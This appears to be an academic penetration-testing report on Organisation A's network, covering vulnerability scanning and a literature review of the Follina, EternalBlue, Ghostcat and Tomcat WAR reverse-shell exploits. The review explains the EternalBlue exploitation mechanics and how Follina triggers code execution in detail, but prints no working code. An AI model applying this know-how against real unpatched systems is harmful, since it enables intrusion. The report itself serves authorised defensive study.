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[bookmark: _Toc111981644]ABSTRACT
Following a breach, Organisation A’s network security stance was upgraded. This report covers an investigation of the post-breach upgraded security stance using vulnerability scanning and penetration testing techniques.
OpenVAS was used to conduct a vulnerability scan and the results demonstrated that there were many common vulnerabilities and exposures present ranging from severity level 10 to 2.6. These were researched and the vulnerabilities were matched to attack vectors.
For Organisation A to mitigate these vulnerabilities as soon as possible rather than await the outcome of the investigation a testbed was created.
Four exploits were carried out on the testbed: Follina, EternalBlue, Ghostcat and Jerry with MSFVenom. All four of the exploits were successful, however, there was no defensive software such as Microsoft Defender on the testbed whereas this would have been present within Organisation A’s network.
Following the vulnerability scan Organisation A has improved their defensive stance accordingly, has been advised to carry out further vulnerability scans and patch the vulnerabilities on a regular basis.
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[bookmark: _Toc111981647]CHAPTER 1: INTRODUCTION
[bookmark: _Toc111981648]1.1	The Internet and Cybercrime
In January 2012, only 11.7% of the world population used the Internet. In 2022 the world’s population was 7.91 billion and 4.95 billion people used the internet, a total of 62.5% [1]. Figure 1 illustrates the growth of internet users over the last 10 years.
[image: Global Internet Users Over Time January 2022 DataReportal]
[bookmark: _Toc111363565][bookmark: _Toc111363702][bookmark: _Toc111981726]Figure 1: Internet Users from 2012 to 2022 [1]

With the increase in the use of digital technology and the Internet in particular, criminals are turning to cybercrime. According to [2] there is a lack of clarity as to what constitutes cybercrime. This report will use on the two definitions as set out by [3]: cyber dependent crimes where Information and Communications Technology (ICT) is used to commit crimes such as transmitting malware for financial gain and hacking with the intention of damaging, destroying, or stealing data. Unauthorized access to network systems with the intention of disrupting, disabling, downgrading functionality eg. Denial of Service (DoS) or Distributed Denial of Service (DDoS) attacks. 
Figure 2 sets out the percentage of organisations that have been compromised by at least one successful attack on companies between 2014 and 2021.
[image: Cyber Edge threat report - organizations-compromised]
[bookmark: _Toc111363566][bookmark: _Toc111363703][bookmark: _Toc111981727]Figure 2: Percentage of organisations compromised by at least one successful attack [4]

The first ransomware was in 1989 [5]. By 2021, the United States’ ransomware attacks cost approximately $623.7 million [1], [6] and [7] state that 14.46 million ransomware attacks were thwarted in the first quarter of 2021 alone.
[8] suggests that infection vectors such as malicious documents are increasing and that 38% used Microsoft Office formats ie. Word, Excel etc. Archive files ie .zip represent 37% and the use of PDF files were 14%.
Fileless attacks are starting to become more prevalent and increasing in sophistication and are thereby more effective at evading detection and in 2018 were present in 77% of successful compromises [1], [9]. 
Another target rich area is the Transport Layer Security (TLS) or Secure Sockets Layer (SSL) attacks and in a global survey by Gartner 35% of companies had been targeted in this manner.
Between March 2021 and February 2022 there were 153 million new malware samples [10]. Figure 3 illustrates the growth of total malware between 2013 and 2022. 
[image: Chart, bar chart
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[bookmark: _Toc111363567][bookmark: _Toc111363704][bookmark: _Toc111981728]Figure 3: Growth of malware between 2013 and 2022 [11]

It was concluded by [11] that in 2019 a staggering 93.6% of observed malware was polymorphic, which means that it can change its code constantly to evade detection.
Cyber criminals’ motivation may be changing according to [1] with a move from instant money-making tactics such as ransomware to intelligence and data gathering that can be used on subsequent attacks that provides a better financial return.
[bookmark: _Int_0e6078sz]In a Security Threat Report by [12] the top 10 most valuable information to cyber criminals versus the top 10 biggest cyber threats to organisations was set out, which can be seen in figure 4, highlighting that customer information was the most valuable asset and phishing was the biggest threat.
[image: 12 top cybersecurity threats against organisations 2019 statistics]
[bookmark: _Toc111363568][bookmark: _Toc111363705][bookmark: _Toc111981729]Figure 4: Valuable assets and biggest threats [12]

[bookmark: _Toc111981649]1.2	Cybercriminals and Hackers
The term hacker is used generically to describe someone that gains unauthorised access to an organisation’s devices/assets. There are many forms but for ease of reference this report will outline two types:
White Hat Hackers (also known as ethical hackers) use penetration testing methodologies in an authorised attempt to find vulnerabilities within an organisation’s cyber assets that is open to be exploited via malicious methods. Organisations use penetration tests to assess their networks, systems, application security and it is not for the tester to attempt to ‘hack’ the organisation it is for the tester to identify business risks associated with an attack. These security professionals report the vulnerabilities back to the organisation so that any threats can be mitigated [13]–[15]. 
Black Hat Hackers (also known as threat actors) are an organisation or an individual that use their knowledge to compromise an organisation’s assets either by stealing, compromising, damaging or for any other malicious intention.
[bookmark: _Toc111981650]1.3	Cyber Security
Cyber security is the use of technologies and policies designed to protect computer networks, data, applications and assets from unauthorised access, destruction, change, attack, or denial of service thus ensuring confidentiality, integrity, and availability of data and services [13], [16].
1.4 [bookmark: _Toc111981651]Aim
The aim of this report is to investigate whether Organisation A’s network and cybersecurity stance is sufficient to defend against attacks. This procedural approach will aid Organisation A, cybersecurity experts and other students understand the necessity for continual monitoring, upgrading and the importance of being vigilant regarding network security. 
1.5 [bookmark: _Toc111981652]Objectives
To accomplish the aim of this project the following objectives will be carried out.
· Clearly define the rules of engagement before the start of the project.
· Create virtual machines with various operating systems (OS) and software.
· Research and conduct literature review of the Common Vulnerability and Exposures (CVEs) found during the scan is essential and will be prerequisite to plan for the exploits.
· Conduct experiments/exploits.
· The experiments conducted will be discussed and evaluated. The results of the experiments carried out will be analysed and assessed and presented to Organisation A for them to remediate.
1.6 [bookmark: _Toc111981653]Project Structure
Figure 5 sets out the structure of the project.
[image: Diagram
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[bookmark: _Toc111363569][bookmark: _Toc111363706][bookmark: _Toc111981730]Figure 5: Project Structure

[bookmark: _Toc111981654]1.7	Introduction Conclusion
Chapter one set out the aim and objectives of the project and an outline of the project structure was illustrated. A background to the Internet, cybercrime, and cyber security was explained. The subsequent chapter will focus on cyber security, the tools and techniques used to compromise networks and current literature pertaining to this field.

[bookmark: _Toc111981655]CHAPTER 2: RESEARCH AND LITERATURE
[bookmark: _Toc111981656]2.1	Introduction
[bookmark: _Int_7KDWIvAv]This chapter investigates the relevant literature regarding cyber security, penetration testing, similar studies on various attack vectors, the tools and techniques used to perform them and expected outcomes. 
[bookmark: _Toc111981657]2.2	Penetration Tests and Vulnerability Scans
Threat actors use many technological tools to find ways of exploiting a company’s systems to gain access. Penetration tests can assist companies find the vulnerabilities and proactively mitigate against attacks by imitating the actions of threat actors and creating real-world scenarios that inform the company how well their defences performed.
There is a difference between penetration tests and vulnerability scans insofar as the penetration test simulate the threat actors attempting to exploit the company’s security vulnerabilities whilst the vulnerability scans are automated tests that search the system for security weaknesses [13], [14], [17]–[20]
[bookmark: _Toc111981658]2.3	Oracle VM VirtualBox
An open-source, cross-platform virtualization software that allows virtual machines, with different operating systems to be created and run at the same time on the same base computer [21]. 
[bookmark: _Toc111981659]2.4	Kali Linux 
Formerly known as BackTrack Linux, Kali Linux was released in 2013 and is a Debian-based, open-source Linux distribution funded by Offensive Security. It contains hundreds of tools that are aimed at information security tasks, for example, penetration testing, reverse engineering, security research and computer forensics [22], [23].
[bookmark: _Toc111981660]25	OpenVAS (Greenbone Vulnerability Management) 
The number of CVEs released in 2010 was 4,992. By 2020 this number increased to 17,253 as illustrated in figure 6. 
[image: Chart, bar chart
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[bookmark: _Toc111363570][bookmark: _Toc111363707][bookmark: _Toc111981731]Figure 6: CVEs released between 2010 and 2020 [24]

To reduce the risk/impact of cyberattacks, many companies are now incorporating vulnerability scanners into their cybersecurity practices to detect vulnerabilities before they can be exploited.  
OpenVAS and Nessus started in 1998 as an open-source project. By 2005 the Nessus version became a professional commercial solution and to continue having an open-source version Nessus was forked and the open-source version was rebranded OpenVAS. Since 2008 Greenbone has operated OpenVAS. 
There are three major components to the OpenVAS system:
[image: Text
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OpenVAS uses a Linux OS and the distributions provide/create software installation packages. The Greenbone Vulnerability Manager (gvmd) controls the OpenVAS scanner via an Open Scanner Protocol. Users are presented with a web interface rather than a Linux command line. The OpenVAS Scanner executes vulnerability tests against the target system using the daily updated Greenbone Enterprise Feed (comprising vulnerability, and compliance checks, together with scan configurations and report formats). The results set out the host, port, vulnerability, CVE(s), severity, impact and mitigation [18], [24]–[28].  
Figure 7 illustrates OpenVAS architecture for scanning target systems.

[bookmark: _Toc111363571][bookmark: _Toc111363708][image: Diagram
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[bookmark: _Toc111981732]Figure 7: OpenVAS architecture [28]
[bookmark: _Toc111981661]2.6	Follina - CVE2022-30190
In 2020 [29] wrote a thesis setting out how to use msdt for code execution. It stated that the ms-msdt protocol opens Microsoft’s Support Diagnostic Tool and any string is passed to the msdt.exe program. All an attacker needs to find is a wizard which allows execution of random programs. Command line execution can be used for user input and this URL, when opened with shell.openExternal(), will start a diagnosis bar and when finished the user is required to click a button for a check against the compatibility settings. When this button is clicked the Process Monitor Tools relaunches but this time from the remote server.
In March 2021 Microsoft are informed by researchers that Microsoft Office URIs can be used to execute code using, for example, Microsoft Teams, however Microsoft did not issue a CVE or inform their clients but patched the issue in Microsoft Teams in August 2021, however, they failed to patch the MSDT in Windows or the vector for Microsoft Office. In March 2022 an expose is published highlighting the use of MSDT for code execution, however, by 21 April Microsoft closed the ticket suggesting it was not a security related issue as illustrated in figure 8.
[image: Graphical user interface, text, application
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[bookmark: _Toc111363572][bookmark: _Toc111363709][bookmark: _Toc111981733]Figure 8: Microsoft Confirms MSDT is not a security issue [30]

It was on 30 May 2022 that Microsoft finally allocated a CVE (2022-30190) and it is now classified as a zero-day exploit in Microsoft Defender Vulnerability Management software [31].
The components of the Office document are illustrated below. The document.xml.rels file is located within the word/_rels folder as outlined in figure 9.
[image: AGk0z-Nw863bCoqJyqzHawiKjw85aE9B9niLdyjI8nP81oRTrKc3jO2Nc8LQJsFb1HBEWOTC3ARSMY2bdKpAWlse1ZI3UO7LLPrsOmzH8A8=s940]
[bookmark: _Toc111363573][bookmark: _Toc111363710][bookmark: _Toc111981734]Figure 9: Components of the Office Document [32]

This file has an external reference pointing to https://www.xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.html! as set out in figure 10. (This website is no longer available.)
[image: AGk0z-Mh2jUKtAL6bGu7KnQBIxCBYLzG96FJhvWysAiXJhfMjqPJhB55rQrc-ObOELbgQ6YMcXD5LX4SS-1aoqsRsx-Rt_cfslfz151U1FA=s1600]
[bookmark: _Toc111363574][bookmark: _Toc111363711][bookmark: _Toc111981735]Figure 10: Target External Reference [32]

The output of the original HTML document [RDF841.html] can be found in figure 11. This HTML document has a script tag together with many ‘A’ characters that have been ‘commented out’. The purpose of these is to have sufficient characters for the exploit to work as a hardcoded buffer size is required for HTML processing functions and the payload is not invoked with fewer than 4096 bytes. 
At the end of the script tag the ms-msdt PCWDiagnostic is invoked. The parameters IT_BrowseForFile include PowerShell syntax within the $().
[image: Text
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[bookmark: _Toc111363575][bookmark: _Toc111363712][bookmark: _Toc111981736]Figure 11: Follina Exploit code [32]

Two layers of Invoke-Expression of Base64 encoded data were run and the decoded version can be found in figure 12. 
[image: ]
[bookmark: _Toc111363576][bookmark: _Toc111363713][bookmark: _Toc111981737]Figure 12: Base64 Encoded Data Decoded [32]

The ‘cmd.exe’ is a variable and the process outlined in figure 13.
[image: Graphical user interface, text, application, email
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[bookmark: _Toc111363577][bookmark: _Toc111363714][bookmark: _Toc111981738]Figure 13: The Follina Process [32]

The most basic commands required for Follina to work are set out in figures 14 and 15.
[image: Text

Description automatically generated]
[bookmark: _Toc111363578][bookmark: _Toc111363715][bookmark: _Toc111981739]Figure 14: Minimum Commands for Follina to Run [32]
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[bookmark: _Toc111363579][bookmark: _Toc111363716][bookmark: _Toc111981740]Figure 15: Strict Minimum Requirements for Follina to Run [32]

The main issues are that Microsoft Office, using the MS Protocol to accept unfiltered templates from Microsoft Word and Outlook links to be loaded, and that MSDT permits code to be executed.
[33] demonstrates how the exploit still works on Microsoft Office 2021 despite having been patched. Microsoft have pointed to ‘protected view’ to prevent the exploit working, however, if the document has an .RTF file format then this just changes the exploit to a zero click exploit. Detection of this exploit is difficult as the malicious code is loaded by Word via a remote template (webserver) therefore there is nothing to detect as the document itself is not malicious.
It is noteworthy that currently a Rich Text Format file 9.rtf) can still trigger the invocation of Follina with only the Windows Preview Pane opened with the exploit as illustrated in figure 16. This changes the type of exploit from a ‘single click’ to a ‘zero-click’ trigger.
[image: AGk0z-MOs9U3ALZK6kMYP_LdBEQ6jH7V24XjTzYZ9Ds6WyjJzWvFl1AAGCLE8DHMS6A6e8KGbvtr24po9Cnwur1SqwQU9qwjoe8Xcx3HstU=s1385]
[bookmark: _Toc111363580][bookmark: _Toc111363717][bookmark: _Toc111981741]Figure 16: .rtf file opening the exploit [32]

In addition, as the triggering payload reaches out to remote locations the connection still carries NTLM hashes, meaning that the threat actors have the victim’s Windows password (in hash format) which could be used in post-exploitation [32]–[36].
[bookmark: _Toc111981662]2.7	EternalBlue MS17-010 – CVE-2017-0143
On April 14, 2017, the hacker group known as ‘The Shadow Brokers’ leaked a computer exploit allegedly from the United States National Security Agency (NSA) named EternalBlue. Versions of Windows prior to version 8 are the specific targets of this exploit as they include inter-process communication share (IPC$) permitting null sessions, that allow anonymous login and default null sessions. 
Threat actors can use this exploit to gain access to the network by executing arbitrary code and sending specially created packets. It does this by exploiting a vulnerability in Microsoft’s Windows Operating System software, in particular the Server Message Block version 1 (SMBv1) protocol. The SMBv1 protocol is a file sharing protocol and is designed to allow access to remote server files, serial ports, printers, and other miscellaneous node communications within a network. SMB Protocol also provides authenticated inter-process communications mechanisms.
EternalBlue can infect every device connected to the network once entry has been established making remediation time consuming as every device must be taken offline to be patched. The most well-known use of EternalBlue was the crypto-ransomware WannaCry and NotPetya, although it has been used by Trickbot (a banking trojan), CoinMiner and WannaMine. EternalBlue has also been known to include a payload called DoublePulsar Backdoor which is a trojan that allows remote connections against the compromised system [37]–[40].

According to [40] there are three bugs that EternalBlue exploits as follows:
[bookmark: _Toc111981663]2.7.1	(A) Wrong Casting Bug
A buffer overflow is created in the non-paged kernel pool during the conversion of File Extended Attributes (FEA) from Os2 to NT structure using the Windows SMB implementation ‘srv.sys.driver’ due to the ‘wrong casting bug’.
The FEA is a structure using key/value pairs: the key is AttributeName and value is AttributeValue. An example of an FEA is illustrated in figure 17.
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[bookmark: _Toc111363581][bookmark: _Toc111363718][bookmark: _Toc111981742]Figure 17: Example of a File Extended Attribute [40]

In relation to the bug Srv0s2FeaListToNt – which converts Os2 to NT FEA list the logics are set out in figure 18.
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[bookmark: _Toc111363582][bookmark: _Toc111363719][bookmark: _Toc111981743]Figure 18: Logic of Srv0s2FeaListToNt Function [40]

The logic of size calculation when converting between 0s2FeaList and NtFeaList structures are set out in figure 19.
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[bookmark: _Toc111363583][bookmark: _Toc111363720][bookmark: _Toc111981744]Figure 19: Logic of Size Calculation of conversion between 0s2FeaList and NtFeaList Structures [40]

It should be noted that there is no restriction of SMB packet size in ‘SizeofListInBytes’.
‘Srv0s2FeaToNT’ is where the 0s2Fea record is converted to a NtFea record. It is larger than the 0s2Fea record as it contains the extra field ‘NextEntryOffset’ plus an alignment of 4 bytes.
The wrong casting in the function ‘Srv0s2FeaListSizeToNt’ during the second shrinking (‘SizeOfListInBytes’ in 0s2FeaList) leads to a small buffer (NtFeaList) together with large data (out of buffer boundary) which will continue after conversion in the ‘SizeOfListInBytes’ as the bug enlarges it rather than shrinking it and the remainder dictates how many records (bytes) should be converted to NtFea from 0s2Fea. It should be noted that the NtFeaList buffer (NtFeaListSize) has performed the correct calculation to convert the NtFeaList from the 0s2FeaList. 
In the case of a ‘SizeOfListInBytes’ greater than 216 an Out of Bound write is caused because the updated value of ‘SizeOfListInBytes’ is bigger than the buffer size. 
Figure 20 illustrates a normal conversion scenario without and with the bug.
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[bookmark: _Toc111363584][bookmark: _Toc111363721][bookmark: _Toc111981745]Figure 20: Conversion Values of 0s2FeaList to NtFeaList with and without Bug [40]

The Function’s pseudo code can be found in Appendix 1.
Figure 21 illustrates the SMB packet before shrinkage where it can be seen the SMB_FEA is out of range.
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[bookmark: _Toc111363585][bookmark: _Toc111363722][bookmark: _Toc111981746]Figure 21: SMB Packet Before Shrinkage [40]

The size of ‘SizeOfListInBytes’ after shrinkage is below 216 as illustrated in figure 22. It can also be seen that the far-right SMB_FEA is not related to SMB-FEA_List.
[image: ]
[bookmark: _Toc111363586][bookmark: _Toc111363723][bookmark: _Toc111981747]Figure 22: SizeOfListInBytes after shrinkage below 216 [40]

Figure 23 sets out how the size of ‘SizeOfListInBytes’ is above 216 after the shrinking (after the bug comes into play).
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[bookmark: _Toc111363587][bookmark: _Toc111363724][bookmark: _Toc111981748]Figure 23: SizeOfListInBytes after shrinkage above 216 [40]

[bookmark: _Toc111981664]2.7.2	(B) Wrong Parsing Bug
There are many functions when transmitting files using the SMB Protocol SMB_COM_TRANSACTION2 is one of the sub-commands allowing clients to retrieve and set Extended Attribute key/value pairs, perform directory searches, and allow file names that are longer than the 8.3 file format names. SMB_COM_NT_TRANSACT extends the features offered with the above and permits data blocks with very large parameters to be transferred.
If the data sent during either of these commands exceeds the maximum buffer size that was created during the session set up or if the ‘total_data_to_send’ is greater than the transmitted_data then the SECONDARY sub-command is used to split the packets. An example can be found in figure 24.
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[bookmark: _Toc111363588][bookmark: _Toc111363725][bookmark: _Toc111981749]Figure 24: Example of Wrong Parsing Bug [40]

[bookmark: _Toc111981665]2.7.3	(C) Non-paged Pool Allocation Bug
This bug allows the allocation of a specified size chunk in the kernel non-paged pool, creating a hole that will be filled with data, causing the out of bound write to the following chunk (Bug A and B).
A client must send the SMB_COM_SESSION_SETUP_ANDX request starting the user authentication to establish the SMB session on a SMB connection to enable a user logon and establish a valid UID. There are two ways of doing this and as illustrated in figures 25 and 26 both formats have the request split into two sections. The first section is the SMB_Parameters and the second section is the SMB_Data. In the first format the WordCount is equal to 13 whereas in the second format, with its extended security, the WordCount is equal to 12.
When the server performs the integrity check using SrvValidateSmb the bug, within the extraction of data section named ‘BlockingSessionSetupAndX’ becomes triggered. This calculates the ByteCount incorrectly and leads to a placeholder for a big allocation that is later used by an NtFEA chuck that will again lead to an overflow.
The pseudo code can be found in Appendix 1.
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[bookmark: _Toc111363589][bookmark: _Toc111363726][bookmark: _Toc111981750]Figure 25: LM and NTLM Authentication SMB request [40]
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[bookmark: _Toc111363590][bookmark: _Toc111363727][bookmark: _Toc111981751]Figure 26: NTLMv2 Authentication SMB request [40]

[bookmark: _Toc111981666]2.7.4	Exploitation Technique (Primitive 1: MDL (pMdl1))
Primitive Memory Descriptor Lists (MDL), a system-defined kernel structure describing a physical set of addresses, is used to map I/O data to specific virtual addresses. Using Bug, A and B, there is now an Out of Bound (OOB) write srv allocation and the header of the srv chunk can now be overwritten by client data (controlled by the attacker) wherever it is required.
[bookmark: _Toc111981667]2.7.5	Exploitation Technique (Primitive 2: pSrvNetWskStruct)
	In the srvnet header the pSrvNetWskStruct points to the SrvNetWskStruct which in turn contains a pointer to theHandlerFunction, that gets called when the associated srvnet connection is closed. If the pointer to SrvNetWskStruct is overwritten by a fake address ‘fake SrvNetWskStruct’ with values controlled by the attacker then the value of the pointer to the function called when srvnet connection closes, the HandlerFunction, allows Remote Code Execution (RCE).
[bookmark: _Toc111981668]2.7.6	Exploitation Flow
Using 2.7.4 and 2.7.5 the data sent from client to server using the srvnet connection is now controlled by the attacker. If the virtual address StartVa field is overwritten within the HAL’s Heap (which has ‘execute’ permissions) and we change the pointer SrvNetWskStruct (pSrvNetWskStruct) and get them to point to the static address in HAL’s Heap, then the fake struct can be created preceded by shellcode. This shellcode would then be called when the srvnet connection was closed thus achieving RCE.
	Figures 27-36 illustrate the process of the insertion of Double Pulsar using the EternalBlue bugs.
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[bookmark: _Toc111363591][bookmark: _Toc111363728][bookmark: _Toc111981752]Figure 27: Initial state of HAL's Heap non-paged kernel pool

	


	Following Bugs, A and B the srv allocation has only the Os2Fea transmission connection open.
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[bookmark: _Toc111363592][bookmark: _Toc111363729][bookmark: _Toc111981753]Figure 28: Only Os2Fea transmission open

	


	SMB_COM_NT_TRANSACT fills part of Os2Fea which is later replaced by SMB_COM_NT_TRANSACT_SECONDARY or SMB_COM_TRANSACTION2_SECONDARY (Bug A and B) however the last secondary packet has not yet been sent so no OOB write has been triggered.
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[bookmark: _Toc111363593][bookmark: _Toc111363730][bookmark: _Toc111981754]Figure 29: Part of Os2Fea has been filled



	Multiple srvnet connections are opened, increasing the chances of overwriting srvnet (the overflow).  
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[bookmark: _Toc111363594][bookmark: _Toc111363731][bookmark: _Toc111981755]Figure 30: Multiple srvnet connections are opened
	Using Bug C, a placeholder chunk is created for the converted Os2Fea to NtFea and should have the incorrectly calculated size. The chunk becomes free when the connection is closed and the NtFea write OOB fills the hole when it is allocated. Before being freed new srvnet connections (srvnet chunks) are allocated.
[image: Diagram

Description automatically generated]
[bookmark: _Toc111363595][bookmark: _Toc111363732][bookmark: _Toc111981756]Figure 31: Bug C creating placeholder
	The allocation of a new srvnet chunk is located next to the ‘Bug C chunk’ as it cannot be located in the previous chunk (Bug C chunk) as it would create an overflow of this chunk.
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[bookmark: _Toc111363596][bookmark: _Toc111363733][bookmark: _Toc111981757]Figure 32: New srvnet allocation
	The Bug C chunk is freed.
[bookmark: _Toc111363597][bookmark: _Toc111363734][bookmark: _Toc111981758][image: Diagram
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Figure 33: Bug C chunk is freed
	Using SMB_COM_TRANSACTION2_SECONDARY the last Os2Fea data is sent leading to conversion of Os2Fea to NtFea allocation. NtFea is allocated to placeholder. The next chunk is overwritten by NtFea modifying the 2 header properties to point to HAL’s Heap.
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[bookmark: _Toc111363598][bookmark: _Toc111363735][bookmark: _Toc111981759]Figure 34: SMB_COM_TRANSACTION2_SECONDARY is used
	When the data from the user arrives in the overflowed srvnet connection this is written to HAL’s Heap due to the previous overwrite of MDL instead of the reserved place in the kernel pool. This new data in HAL’s Heap contains fake struct (SRVENT_RECV). (pSrvNetWskStruct points to fake struct (SRVNET-RECV)) so when the connection is closed the fake struct HandlerFunction is called. This data contains the shellcode DoublePulsar[footnoteRef:1]. [1:  DoublePulsar is a multi-architecture (x86 and 64 bit) memory-based kernel payload that grants high levels of control over computer systems and runs in kernel mode. It has four uses: respond to specific ping request (eg. heartbeat), uninstall itself, load shellcode or run Dynamic Link Library (DLL) on host [60].] 
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[bookmark: _Toc111363599][bookmark: _Toc111363736][bookmark: _Toc111981760]Figure 35: Insertion of DoublePulsar

[image: ]The srvnet connections are closed with each srvnet connection’s HandlerFunction pointing at SRVNET_RECV having been executed with the overflow connection pointing to the fake struct in HAL’s Heap. When the HandlerFunction is executed the shellcode function is called.
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[bookmark: _Toc111363600][bookmark: _Toc111363737][bookmark: _Toc111981761]Figure 36: HandlerFunction executes shellcode

[bookmark: _Toc111981669]2.8	DoublePulsar
Compromised systems are vulnerable to DoublePulsar, a persistent backdoor that permits access and allows code to be executed. Attackers use this to compromise the system further by installing additional malware [41].
[bookmark: _Toc111981670]2.9	Ghostcat – CVE-2020-1938
One of the most popular open-source, open development, Java Middleware servers is known as Tomcat and has been on the market since November 1998. [42], [43]. 
Software lying between an OS and its running applications is known as middleware and functions as a translation layer that is hidden, enabling data management and communication for distributed applications. Tomcat can be found between the client’s browser HTML/JavaScript layer and your server database layer and is still considered middleware despite not having the fully featured J2EE server. It performs requests such as web browser form submissions or returning dynamic web pages by means of a ‘user’ profile [44].
‘Catalina’ receives external requests and passes them to the corresponding web application to be processed, returning the results using a Tomcat channel. Tomcat has two default connectors configured: the Apache Jserv Protocol (AJP) and the Hypertext Transfer Protocol (HTTP) connector. The HTTP connector (processes HTTP Protocol requests HTTP/1.1) has a default listening address of 0.0.0.0 using port 8080. The AJP connector, a binary format performance optimised version of HTTP, (processes AJP Protocol requests AJP/1.3) has a default listening address of 0.0.0.0 using port 8009 and uses the Transmission Control Protocol (TCP). 
AJP’s main function is using reverse proxy scenarios whereby web servers communicate with servlet containers or application servers. This means that whilst the HTTP connector is exposed to clients the AJP connector is used between the webserver (eg. Apache HTTPD) and the Tomcat server internally. Figure 37 illustrates how the Apache Tomcat Server works [45].
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[bookmark: _Toc111363601][bookmark: _Toc111363738][bookmark: _Toc111981762]Figure 37: Apache Tomcat Server [45]

Ghostcat is considered a Local File Inclusion (LFI) vulnerability that allows attackers to read the contents of source code and configuration files of all the deployed webapps. It should be noted that the AJP is not externally exposed.
However, if Tomcat implements AJP correctly it considers the connection has a higher level of trust when compared with HTTP connections. The Tomcat server is vulnerable when the AJP connector is enabled and accessible to a service port. This is enabled by default, therefore, if Tomcat still has its default configuration of the AJP secret, no security check is made on requests on port 8009, so an unauthenticated attacker could access/read/write to the server [43]–[46].
[bookmark: _Toc111981671]2.10	Jerry with MSFvenom on Apache Tomcat
Versions 7-9 of the Apache Tomcat server contain vulnerabilities in the .WAR settings allowing a JSP backdoor to be uploaded and deployed. A .WAR file is created with a reverse shell payload. Once executed, the attacking machine listener provides a reverse shell (also known as connect-back) where the target machine becomes a client connecting to a listener and the attacker receives the shell. Once control has been obtained, privileges could be elevated [47], [48]
In June 2015, within the Metasploit Framework, msfpayload and msfencode were incorporated into a single Framework instance and renamed MSFvenom. MSFvenom is a command line tool that generates and outputs different types of shell code. MSFvenom can be used to generate a Windows bind shell. The options available within smfvenom are set out in figure 38 [49]–[51].
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[bookmark: _Toc111363602][bookmark: _Toc111363739][bookmark: _Toc111981763]Figure 38: MSFVenom options [49]

[bookmark: _Toc111981672][bookmark: _Toc104297723]2.10 	Literature Conclusion
The literature review highlighted the work in this field conducted by experts and what is currently known about various exploits, how they work and what makes them successful.
The ensuing chapter relates to how research is conducted, the different approaches and methodologies that are vital to making informed decisions on how to conduct research.


[bookmark: _Toc111981673]CHAPTER 3: RESEARCH METHODOLOGY
[bookmark: _Toc104297047][bookmark: _Toc104297724][bookmark: _Toc111981674]3.1	Introduction: Research Overview
Chapter three looks at the selection of a research approach, design, or strategies of inquiry [52]. The quantitative, qualitative, and mixed method approaches will be considered and the most appropriate one will be selected. How the choice of this approach will influence the philosophical stance and the research methods overall will be examined.
Time horizons will be explored, and a project planner created to assist with the timekeeping objectives.  
Ethical issues will be investigated, and risks and the mitigation thereof will be analysed. 
[bookmark: _Toc104297048][bookmark: _Toc104297725][bookmark: _Toc111981675]3.2	Research Approach
The steps taken for the collection of data, its analysis and interpretation require plans and procedures and decisions need to be made as to the best way of approaching the research. As the deductive approach investigates methods to test the validity of a pre-existing theory, this will be used for this project. 
[bookmark: _Int_xNK7iph8]According to [52] there are three approaches: qualitative, quantitative, and mixed methods. Qualitative methodologies are generally used for research to explore social or human problems or studies on behaviour. Quantitative methods are used to gather empirical data by testing variables and mixed methods is where a mixture of qualitative and quantitative results is generated.
As this project will be an experiment where variables will be tested and empirical data collected, the quantitative method will be best suited for this task.
[bookmark: _Toc104297049][bookmark: _Toc104297726][bookmark: _Toc111981676]3.3	Research Paradigm
The interconnection of worldviews that is required for the design of a framework for research is illustrated in figure 39.
RESEARCH APPROACHES
Qualitative
Quantitative
Mixed Methods
Research Methods
   Questions
   Data Collection
   Data Analysis
   Interpretation
   Validation
Designs

Quantitative
(e.g., Experiments)
Qualitative
(e.g., Ethnographies)
Mixed Methods
(e.g., Explanatory Sequential)


Postpositivist
Constructivist
Transformative
Pragmatic
Philosophical Worldviews

[bookmark: _Toc111363603][bookmark: _Toc111363740][bookmark: _Toc111981764]Figure 39: The interconnection of worldviews, design, and research methods [52]

The overview of the research plan involves the philosophical worldview and the various assumptions that are brought to the study and then how this interacts with the procedures of research.
According to [52] there are four worldviews “a basic set of beliefs that guide action” as set out in figure 40. 
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[bookmark: _Toc111363604][bookmark: _Toc111363741][bookmark: _Toc111981765]Figure 40: Four Worldviews [52]

[bookmark: _Toc104297050][bookmark: _Toc104297727][bookmark: _Toc111981677]3.3.1	Postpositivist Worldview
The assumptions associated with postpositivist worldviews are most associated with quantitative research. This philosophy suggests that causes determine outcomes or effects. Therefore, researchers using this methodology must identify and assess those causes which determine outcomes. These causes become variables in experiments and postpositivists observe and measure the results.
[bookmark: _Toc104297051][bookmark: _Toc104297728][bookmark: _Toc111981678]3.3.2	Constructivist Worldview
Constructivist views research from a different point of view and attempt to understand the world and look at different viewpoints of participant studies. The participants are given open questions and their subjective replies are used to study how people interact with each other within society. The constructivist worldview can also be used to understand cultural or historical experiences [52].
[bookmark: _Toc104297052][bookmark: _Toc104297729][bookmark: _Toc111981679]3.3.3	The Transformative Worldview
The transformative worldview is expressed via the researcher’s question to change the current political agenda and by doing so confront social oppression wherever it is found. It could also focus on disenfranchised or marginalised individuals or groups to improve their situation [52]. 
[bookmark: _Toc104297053][bookmark: _Toc104297730][bookmark: _Toc111981680]3.3.4	The Pragmatic Worldview
[bookmark: _Int_6wyAVesT]This worldview is associated with mixed method research that arises out of situations, actions, and consequences. Pragmatic worldviews research the problem with the intended consequence in mind and then chose the how and what to research to achieve that aim [52].
[bookmark: _Toc111981681][bookmark: _Toc104297054][bookmark: _Toc104297731]3.4	Time Horizon
[bookmark: _Toc104297057][bookmark: _Toc104297733][bookmark: _Toc111981682]3.4.1	Longitudinal Studies
Longitudinal studies are correlational studies that observe the same variables repeated over extended time periods, some of which can last years or decades [53].
[bookmark: _Toc104297058][bookmark: _Toc104297734][bookmark: _Toc111981683]3.4.2	Cross-Sectional Studies
[bookmark: _Int_wJgFl5sC]This type of study looks at data from a specific period of time, a snapshot of the current situation. As there is limited time for this project to be completed, this methodology will be used [53]
[bookmark: _Toc111981684]3.4.3	Project Planner
Now that the cross-sectional type of study has been chosen, an estimation of individual task times can be considered. A project planner can be effective in keeping the project within the time constraints and the one for this project can be found in Appendix 2.
[bookmark: _Toc111981685]3.5	Research Methodology
It is fundamental to the project that relevant research be conducted using books, and peer reviewed journals, or other reliable sources eg. Science Direct or IEEE. The literature review is a vital component to ascertain the current research being conducted within the field which will place this work within the context of a larger picture.
[bookmark: _Toc104297735][bookmark: _Toc111981686][bookmark: _Toc104297055]3.6	Resources and Planning
To conduct the experiment a computer has been loaned from the University and a virtual machine running Kali Linux has been installed. Kali-Linux has many pre-installed tools that can be used to run the experiment. Other open-source tools are also available should they be required. FortiClient VPN has also been installed.
